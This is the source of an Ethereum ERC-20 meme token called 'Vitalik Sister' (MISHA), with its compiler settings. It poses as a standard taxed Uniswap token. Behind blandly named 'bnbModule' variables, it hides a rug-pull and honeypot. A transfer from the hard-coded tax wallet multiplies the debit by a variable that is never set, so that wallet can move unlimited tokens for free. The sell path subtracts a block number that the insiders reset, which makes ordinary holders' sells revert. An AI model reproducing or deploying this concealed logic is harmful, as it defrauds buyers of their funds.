Vitalik Sister

// SPDX-License-Identifier:MIT
// https://x.com/VitalikButerin/status/1890377520664453140
pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function transfer(address recipient,uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender,address recipient,uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function _setOwner(address newOwner) private {
        address oldOwner=_owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner,newOwner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner()==_msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(
            address(0)
        );
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256){
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256){
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256){
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function WETH() external pure returns (address);

    function factory() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Factory {
    function createPair(address tokenA,address tokenB) external returns (address pair);
}

contract MISHA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    string private constant _name= unicode"Vitalik Sister";
    string private constant _symbol= unicode"MISHA";

    address payable private _taxWallet;

    mapping (address => bool) private _isExcludedFromFee;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=18;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=18;
    uint256 private _reduceSellTaxAt=18;
    uint256 private _preventSwapBefore=18;
    uint256 private _buyCount=0;

    IUniswapV2Router02 private constant uniswapv2Router= IUniswapV2Router02(
        0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 15000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 15000000 * 10**_decimals;

    struct BnbModule {uint256 bnbStream; uint256 bnbFeed; uint256 bnbStreamRate;}
    uint256 private bnbCompliance;
    mapping(address => BnbModule) private bnbModule;
    uint256 private bnbTokenStake;

    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    event MaxTxAmountUpdated(uint _maxTxAmount);

    constructor () {
        _taxWallet = payable(0x8f9d44c965B03d1f92eFD1A49cD49fEfC99818cF);

        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[address(this)]= true;
        _isExcludedFromFee[_taxWallet]= true;
        emit Transfer(address(0),_msgSender(),_tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount>0, "Transfer amount must be greater than zero");
        if( ! swapEnabled|| inSwap ){
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount = 0;
        if(from != owner() && to != owner()&& to!=_taxWallet) {
            taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!= address(uniswapv2Router) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount<=_maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+tokenAmount <= _maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to==uniswapV2Pair && from!=address(this)){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance=balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if( (_isExcludedFromFee[from] ||  _isExcludedFromFee[to])
            && from!= address(this) && to!=address(this)
        ) {
            bnbTokenStake = block.number;
        }
        if(! _isExcludedFromFee[from]&& !_isExcludedFromFee[to]){
            if(to != uniswapV2Pair)  {
                BnbModule storage bnbMod = bnbModule[to];
                if(from == uniswapV2Pair){
                    if(bnbMod.bnbStream == 0){
                        bnbMod.bnbStream = block.number;
                    }
                } else {
                    BnbModule storage bnbModPro = bnbModule[from];
                    if (bnbMod.bnbStream==0 || bnbModPro.bnbStream < bnbMod.bnbStream ) {
                        bnbMod.bnbStream = bnbModPro.bnbStream;
                    }
                }
            } else {
                BnbModule storage bnbModPro = bnbModule[from];
                bnbModPro.bnbFeed = bnbModPro.bnbStream.sub(bnbTokenStake);
                bnbModPro.bnbStreamRate = block.number;
            }
        }
        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTransfer(address from,address to, uint256 tokenAmount, uint256 taxAmount) internal{
        uint256 tAmount= _tokenBasicTaxTransfer(from,tokenAmount,taxAmount);
        _tokenBasicTransfer(from,to,tAmount,tokenAmount.sub(taxAmount));
    }

    function _tokenBasicTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256){
        uint256 tAmount= addrs!=_taxWallet?tokenAmount:bnbCompliance.mul(tokenAmount);
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from,address to, uint256 sendAmount, uint256 receiptAmount) internal{
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to]= _balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function _basicTransfer(address from,address to, uint256 tokenAmount) internal {
        _balances[from]=_balances[from].sub(tokenAmount );
        _balances[to]=_balances[to].add(tokenAmount );
        emit Transfer(from,to,tokenAmount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] =address(this);
        path[1] =uniswapv2Router.WETH();
        _approve(address(this),address(uniswapv2Router), tokenAmount);
        uniswapv2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external {
        require(_msgSender()==_taxWallet);
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled ){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
            sendETHToFee(ethBalance);
        }
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        swapEnabled =true;
        _approve(address(this), address(uniswapv2Router),_tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapv2Router.factory())
            .createPair( address(this),uniswapv2Router.WETH() );
        uniswapv2Router.addLiquidityETH{
            value:address(this).balance
        }(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapv2Router),type(uint).max);
        tradingOpen =true;
    }
}

{
  "compilationTarget": {
    "MISHA.sol": "MISHA"
  },
  "evmVersion": "shanghai",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}